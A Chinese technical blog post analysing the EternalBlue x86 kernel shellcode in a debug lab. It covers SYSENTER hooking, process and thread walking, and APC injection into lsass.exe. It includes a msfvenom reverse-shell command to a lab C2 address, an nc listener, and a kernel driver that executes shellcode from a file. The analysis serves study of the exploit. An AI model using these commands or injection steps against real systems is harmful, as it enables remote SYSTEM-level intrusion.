本文是永恒之蓝系列的第二篇,主要分析Worawit Wang大神写的内核部分的shellcode,这段shellcode的编译和使用可参考本系列的第一篇,代码的github地址如下
https://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x86.asmhttps://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x86.asm
上面的汇编代码的编译和使用可参考MS17-010 EternalBlue Manual Exploitation.
下面我们来分析这段shellcode的原理。永恒之蓝的shellcode分为内核层和用户层,这是内核态的shellcode,用户态的shellcode可以用户自定义,可以使用msfvenom或cs等工具来生成。
本文的分析过程主要参考[原创] 经典重现:永恒之蓝内核态Shellcode分析和源代码中的注释。上面这个博客中已经分析得很详细了,在这里,主要结合windbg调试+ida的分析+源代码来分析整个shellcode的运行过程。
配置动态分析环境
调试环境搭建
双机调试环境搭建,可参考使用vs2017+wdk10+vitualKD搭建驱动开发环境_visual studio 2017 wdk pcie 驱动开发-CSDN博客
Releases · 4d61726b/VirtualKD-Redux在这里可以下载最新版的VirtualKd-Redux,这是virtualKD的加强版。
此外来需要下面两个小工具,
-
InstDrv 用于安装和启动驱动程序(下载地址[原创]驱动加载工具(InstDrv - V1.3中文版))
-
DbgView 用来查看调试信息,这个工具在sysinternalSuite工具集中。(下载地址Sysinternals Suite - Sysinternals | Microsoft Learn)
准备shellcode
在kali环境下。
编译内核态的shellcode
nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin
使用kali生成用户态的shellcode,这里c2使用的IP为192.168.182.142,端口为443,注意:kali和win7要在同一个网段内,确保shellcode可以成功连接c2,这里win7使用的IP为192.168.182.144.
msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.182.142 --platform windows -a x86 --format raw -o sc_x86_payload.bin
将两个shellcode结合为一个二进制文件。
cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin
在c2端使用nc监听443端口。
nc -lnvp 443
内核shellcode加载器
为了将shellcode跑起来,需要写一个驱动程序,将编译好的shellcode加载起来。
代码如下。这个驱动的功能是读取文件c:\x86_sc.bin中的shellcode,将其在内存中加载起来。在LoadSc函数之前添加一个断点,就可以对shellcode进行调试了。
#include
#define BUFFER_TAG 'TEST'
VOID DriverUnload(PDRIVER_OBJECT drivrObject);
VOID LoadSc() {
OBJECT_ATTRIBUTES objAttr = { 0 };
IO_STATUS_BLOCK ioStatus = { 0 };
FILE_STANDARD_INFORMATION fsi = { 0 };
HANDLE hFile = NULL;
NTSTATUS status;
ULONG fileSize;
PUCHAR buffer = NULL;
UNICODE_STRING fileName = RTL_CONSTANT_STRING(L"\\??\\c:\\x86_sc.bin");
InitializeObjectAttributes(&objAttr,
&fileName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
status = ZwCreateFile(&hFile,
GENERIC_READ,
&objAttr,
&ioStatus,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (!NT_SUCCESS(status))
{
goto EXIT;
}
status = ZwQueryInformationFile(hFile,
&ioStatus,
&fsi,
sizeof(FILE_STANDARD_INFORMATION),
FileStandardInformation);
if (!NT_SUCCESS(status))
{
goto EXIT;
}
fileSize = (LONG)fsi.EndOfFile.QuadPart;
buffer = (PUCHAR)ExAllocatePoolWithTag(NonPagedPool, fileSize, BUFFER_TAG);
if (buffer == NULL)
{
goto EXIT;
}
RtlZeroMemory(buffer, fileSize);
status = ZwReadFile(hFile,
NULL,
NULL,
NULL,
&ioStatus,
buffer,
fileSize,
0,
NULL);
if (!NT_SUCCESS(status))
{
goto EXIT;
}
EXIT:
if (hFile)
{
ZwClose(hFile);
//蓝屏
hFile = NULL;
}
if (buffer != NULL) {
typedef void(*FUNC)();
((FUNC)buffer)();
}
if (buffer)
{
ExFreePool(buffer);
buffer = NULL;
}
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject,
PUNICODE_STRING regPath)
{
UNREFERENCED_PARAMETER(driverObject);
UNREFERENCED_PARAMETER(regPath);
KdPrint(("helloworld"));
KdBreakPoint();//设置一个断点
LoadSc();
driverObject->DriverUnload = DriverUnload;//设置驱动卸载的回调函数
return STATUS_SUCCESS;
}
//驱动的卸载函数
//驱动的卸载函数
VOID DriverUnload(PDRIVER_OBJECT drivrObject)
{
UNREFERENCED_PARAMETER(drivrObject);
KdPrint(("DriverUnload\n"));
}
将sc_x86.bin拷贝到win7 x86虚拟机的C盘根目录,命名为C:\x86_sc.bin。
使用InstDrv加载上面的驱动
windbg中断在LoadSc函数之前。
输入g,让驱动继续运行,会发现shellcode被成功加载,c2端口已经成功反弹shell,并且拿到了system权限。
但这个shellcode有个小问题,当c2的连接关闭后,win7需要重启。这个问题是因为apc注入lass.exe进程的原因,这个问题后面会解决。
shellcode分析
整个shellcode根据执行过程分为4个阶段。
-
一阶段shellcode:操作MSR模式寄存器将二阶段的shellcode作为钩子函数来对sysenter或syscall下钩子。
- X86 覆盖IA32_SYSENTER_EIP来hook SYSENTER。
- X64 覆盖IA32_LSTAR MSR 来hook SYSCALL。
-
二阶段shellcode:触发系统调用后还原syscall(sysenter),遍历进程寻找lsass.exe或者spoolsv.exe进程,使用异步过程调用 (APC)将用户级 shellcode 注入进程中。
-
三阶段shellcode:执行KernelApcRoutine(该回调函数为KeInitializeApc的KernelRoutiune参数,原本用于销毁KAPC的函数地址,而现在用于执行自定义功能)。
- KernelApcRoutine:分配内存将存在于内核态的shellcode拷贝到用户态,遍历kernel32.dll中的CreateThread中的api地址用于存储。
-
四阶段shellcode:四阶段shellcode为三阶段中被从内核态拷贝到用户态的shellcode,在三阶段shellcode执行后会紧接着执行,用于执行之前存储的CreateThread创建线程,执行用户自定义的Ring3 shellcode。
Ring0 shellcode相当于一个中转,通过APC注入的方式从漏洞利用成功后的内核态来执行用户态的shellcode。
-
五阶段用户态的shellcode执行,这部分的shellcode调用createthread来执行刚才生成的用户态shellcode,主要功能是连接c2反弹shell.
阶段1 hook sysentry
代码的逻辑如下,这段shellcode是用来替换SRVNET_RECV.HandlerFunction函数,当释放SRVNET_RECV结构时,会调用这个函数。(本文主要分析shellcode,永恒之蓝漏洞的原理以后再详细分析)
SYSENTER是系统调用从R3到达R0的入口,以OpenProcess api为例,其调用过程如下所示。
kernel32!OpenProcess -> ntdll!ZwOpenProcess -> ntdll!KiFastSystemCall -> sysenter -> nt!KiFastCallEntry -> nt!NtOpenProcess -> nt!KiFastCallEntry> nt!KiServiceExit -> sysexit -> ntdll!KiFastSystemCallRet -> kernel32!OpenProcess
第一阶段的shellcode主要是hook了nt!KiFastCallEntry函数,这个函数的地址从MSR读取,通过rdmsr指令读取,通过rdmsr指令来写入。
mov ecx, 176h
rdmsr
上图中set_ebp_data_address_fn_2F函数的作用是在内存中设置一段0x50大小的范围来存储临时变量,原始的KiFastCallEntry存储在[ebp+0]处。
; 在HAL heap中寻找了一块可用的空间,
; 来存储临时变量和作用后续的KAPC结构体的空间使用
set_ebp_data_address_fn_2F proc near
lea ebp, [ebx+1000h]
shr ebp, 12 ; 在_setup_syscall_hook_find_eip之后0x1000处设置临时数据区
shl ebp, 12 ; 按照2的12次方(0x1000)对齐
sub ebp, 50h ; 'P' ; 在HAL的栈上分析0x50的大小用于存放临时变量
retn
set_ebp_data_address_fn_2F endp
阶段2 sysentry_hook
下面进入syscall_hook函数,如下图所示,先执行nt!KiFastCallEntry函数前0x17字节,然后在pushf pusa和popa popf之前完成sysentry地址的还原和apc注入。最后跳转到nt!KiFastCallEntry+0x17处继续执行。
为了确保只注入一次,使用临时变量[ebp+DATA_QUEUEING_KAPC_OFFSET]来控制,这个变量注入前后都是0,注入过程中为1。
下面进入apc注入的过程。
首先通过nt!KiFastCallEntry的地址找到nt模块的内存镜像起始位置,将其存储在临时变量中,这是为后面调用内核 api作准备。
这时调用api的方式与一般的shellcode基本一致,首先遍历nt模块的导出表中的函数名,计算函数名的hash值,与给定的hash比对,找到指定api地址进行调用。
计算hash的部分:
; 计算字符串的hash
calc_hash_1C8 proc near
push edx
xor eax, eax
cdq
_calc_hash_loop_1CC:
lodsb
ror edx, 0Dh
add edx, eax
test eax, eax
jnz short _calc_hash_loop_1CC
xchg eax, edx
pop edx
retn
calc_hash_1C8 endp
用C语言表示
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
int GetHash1(char* str){
char* t = str;
int eax = 0;
int edx = 0;
while (1){
*(char*)&eax = *t;
t++;
edx = ROTR32(edx,0xd);
edx += eax;
if (eax == 0)
{
break;
}
}
eax = edx;
return eax;
}
首先计算EPROCESS.ImageFilename字段的偏移。调用PsGetCurrentProcess获取当前进程的EPROCESS结构的地址,再调用PsGetProcessImageFileName获取EPROCESS.ImageFilename的地址,计算两个地址的差值,这个偏移量在windows不同版本之间会有不同。EPROCESS结构可参考Vergilius Project | _EPROCESS。我们这里的分析环境是win7 x86,这个偏移量为0x16c,在win8 x86中为0x170。
根据ImageFilename的offset计算出EPROCESS.ThreadListHead字段的offset,这两个偏移在win7系统中相差0x1c,在win8系统后相差0x24.
EPROCESS.ThreadListHead域是一个双链表的"头结点",该链表中包含了一个进程中的所有线程。即EPROCESS中的ThreadListHead域的链表中包含了各个子线程的ETHREAD结构中的ThreadListEntry节点。通过这个字段就可以遍历进程中所有线程。
接着,找到当前线程的ETHREAD.ThreadListEntry的偏移。通过fs:[124]找到当前线程的ETHREAD结构的地址,遍历EPROCESS.ThreadListHead列表,若某个的ThreadListEntry节点距离当前线程的ETHREAD结构地址小于0x400,即找到了当前线程的ETHREAD.ThreadListEntry,然后计算ETHREAD.ThreadListEntry在ETHREAD中的offset,将其暂存于栈顶。
从nt!PsGetProcessId+0xa读取到EPROCESS.UniqueProcessId字段的偏移,这个值+4进而获取到EPROCESS.ActiveProcessLinks的偏移。
EPROCESS.ActiveProcessLinks也是一个LIST_ENTRY结构,链接着系统中所有EPROCESS结构,通过这个字段可以遍历所有进程。通过比对EPROCESS.ImageFilename的hash的方式找到lsass.exe或spoolsv.exe。
然后通过EPROCESS.ThreadListHead链表遍历其所有线程。在nt!PsGetThreadTeb+0xA处读取ETHREAD.Tcb.teb的偏移量,进而找到ETRHEAD.Tcb.Queue的偏移,找到ETRHEAD.Tcb.Queue不为NULL的线程进行APC注入。
找到适合注入的线程之后,开始进行apc注入。
使用KeInitializeApc初始化一个KAPC结构,调用KeInsertQueueApc将这个结构插入到_KTHREAD.ApcState.ApcListHead[1]上。检查_KTHREAD.ApcState.UserApcPending是否为1,若为1表示注入成功,否则将KAPC结构从当前线程的APC链表中摘除。
当调用KeInitializeApc之后的KAPC结构,这个结构保存在esi处。如下图所示.
当调用KeInsertQueueApc之后 KAPC结构被链接到APC队列中。
通过查看内存可以看到当前的KAPC结构已经被链接到_KTHREAD.ApcState.ApcListHead[1],且这个链表中只有一个APC结构,UserApcPending为1,说明APC注入成功。
NormalRoutine,NormalContext,SystemArgument1,SystemArgument2这4个参数的指针会传递给KernelRoutine回调函数。NormalRoutine,NormalContext这两个参数是值为临时缓冲区的地址,KernelRoutine函数会从临时存储区中读取EPROCESS结构。
VOID KernelApcCallBack(
PKAPC Apc,
PKNORMAL_ROUTINE *pNormAlRoutine,
IN OUT PVOID *pNormAlContext,
IN OUT PVOID *pSystemArgument1,
IN OUT PVOID *pSystemArgument2
)
阶段3 KernelRoutine函数
如下图所示,使用ZwAllocVirtualMemory函数分配一段Ring3的内存,用于拷贝将应用层的shellcode,这段buf地址保存在参数*pNormalRoutine中。注意调用这个函数,需要将中断请求级调整为PASSIVE级别,调用完成后还要调整回原级别。
将ring3的shellcode拷贝到新分配的buf中。
使用PsGetProcessPeb(EPROCESS)获取PEB结构,定位到PEB.Ldr.InMemoryOrderModuleList,通过遍历_LDR_DATA_TABLE_ENTRY结构,
寻找kernel32.dll的的基址,匹配的条件为BaseDllName长度为12,第4个DWORD为3\x002\x00。PEB的结构可参考https://www.vergiliusproject.com/kernels/x86/windows-7/sp1/_PEB。遍历kernel32模块的的导出表,通过比对hash的方式获取CreateThread的地址,将其存储在*pSystemArgument1中。
最后修改临时存储区中的开关变量,允许其它的apc注入,类似于互斥量,将IRQL还原为APC_LEVEL.最终返回到nt!KiDeliverApc中。
在KernelRoutine处设置断点,断下之后,查看调用栈。如下图所示。当产生系统调用、中断或者异常,线程在返回用户空间前都会调用KiServiceExit
函数,在_KiServiceExit
会判断是否有要执行的用户APC,如果有则调用KiDeliverApc
函数(第一个参数为1)进行处理。
在KernelRoutine的返回位置处设置断点(bp 0x83ef48c0),断下后。
KiDeliverApc执行过程为:
- 判断用户APC链表是否为空
- 判断第一个参数是为1
- 判断
ApcState.UserApcPending
是否为1 - 将
ApcState.UserApcPending
设置为0 - 链表操作 将当前APC从用户队列中拆除
- 调用函数(
KAPC.KernelRoutine
)释放KAPC结构体内存空间 - 调用
KiInitializeUserApc
函数
正常情况下,KAPC.KernelRoutine用来释放KAPC结构,但这一步在shellcode中并没有实现,在KernelRoutine中修改了给KiInitializeUserApc的参数。如下图所示。
我们观察一下在调用KernelRoutine前后其参数的变化,其通过指针修改了NormalRoutine和SystemArgument1的值,NormalRoutine为ring3 shellcode的起始位置,SystemArgument1为CreateThread函数的地址。
在nt!KiDeliverApc+0x2b1处中断,观察一下调用KiInitializeUserApc前其参数。会发现用户层apc执行的4个参数,都传给了KiInitializeUserApc。这样用户层的shellcode就会执行,CreateThread将作为第2个参数。
阶段4 用户层的shellcode
这段shellcode的作用是取出CreateThread的地址,为其构造参数,执行用户自定义的payload.如下图所示。
阶段5 用户自定义的payload
这段就和应用层一般的shellcode的分析没有啥太多的区别,我这里使用了kali来直接生成一段反弹shell的payload.
总结
通过的Worawit Wang大神的shellcode的学习,了解了许多的内核中的数据结构和APC注入的原理。
下列列出内核中重要的数据结构,这些数据结构的定义都可以在网站Vergilius Project | Kernels上找到。
EPROCESS 在内核中代表一个进程,所有的EPROCESS通过ActiveProcessLinks链接,
可用于遍历进程,基EPROCESS.ThreadListHead字段可遍历其所有线程
KPROCESS EPROCESS.pcb字段,两者的基址相同
ETHREAD 在内核中代表一个线程,通过其ThreadListEntry字段可以遍历所有线程
KTHREAD ETHREAD的第一部分,两者的基址相同,mov eax,fs:[0x124]可获取KTHREAD的指针
PEB EPROCESS.peb字段,通过其PEB.Ldr可以遍历进程所有模块 可通过fs:[0x30]获取
PEB_LDR_DATA PEB.Ldr
_LDR_DATA_TABLE_ENTRY 代表一个模块,在shellcode用来找kernel32.dll的基址
TEB ETHREAD.teb字段 teb.ProcessEnvironmentBlock指向PEB,可通过fs:[0x18]获取
KAPC 代表一次APC
APC_STATE KTHREAD.ApcState字段,里面有线程的apc队列
通过操作fs:0x24可设置IRQL APC_LEVEL=1 PASSIVE_LEVEL=0
mov byte [fs:0x24], al
通过rdmsr指令可读取nt!Kifastcallentry函数的地址,wrmsr指令设置它的值 。
mov ecx, 176h ; IA32_SYSENTRY_EIP 176h
rdmsr
nt!PsGetThreadTeb其实从的KTHREAD结构中取出其KTHREAD.teb,nt!PsGetThreadTeb+0xA处可取出Teb在KTHREAD中的偏移。
nt!PsGetProcessId 其实是从EPROCESS结构中取出其_EPROCESS.UniqueProcessId,nt!PsGetProcessId+0xA可取出 UniqueProcessId字段的偏移。
可通过下面方式获取当前指令的地址。
call $+5
pop eax
参考资料
- MS17-010 EternalBlue Manual Exploitation (danielantonsen.com)
- Kali Python2.7安装pip2和模块方法_kali安装pip2-CSDN博客
- Kali更新源-CSDN博客
- Sysenter/Kifastcallentry hook 检测与恢复 - zbility - 博客园 (cnblogs.com)
- 简单Hook SYSENTER_syscall sysenter-CSDN博客
- [原创]rootkit ring3进ring0之门系列[一] – 调用门-软件逆向-看雪-安全社区|安全招聘|kanxue.com
- [原创]rootkit ring3进ring0之门系列[二] – 中断门-软件逆向-看雪-安全社区|安全招聘|kanxue.com
- [原创]rootkit hook之[六] – sysenter Hook-软件逆向-看雪-安全社区|安全招聘|kanxue.com
- bluekeep/bluekeep_kshellcode_x86.asm at master · 0xeb-bp/bluekeep · GitHub
- [原创] 经典重现:永恒之蓝内核态Shellcode分析 (f5.pm)
- Fernweh (wohin.me)
- ring0下的 fs:[124]_nsfs124-CSDN博客
- 驱动开发:内核中进程与句柄互转 - 知乎 (zhihu.com)
- PyInstaller与Python版本兼容性及下载指南-百度开发者中心 (baidu.com)
- Python for Windows Extensions - Browse /pywin32/Build 220 at SourceForge.net
- Windows内核(七)——APC机制 - Ghostasky’s Blog
- 简单Hook SYSENTER_syscall sysenter-CSDN博客
- EternalBlue - Everything There Is To Know - Check Point Research
- MS17-010漏洞复现(x32)以及分析_ms17-010攻击x32-CSDN博客
- zerosum0x0: April 2017
- APC Injection of Windows 7 x86 in R0-CSDN博客
- APC 篇—— APC 挂入 - 寂静的羽夏 - 博客园
- APC Series: User APC Internals · Low Level Pleasure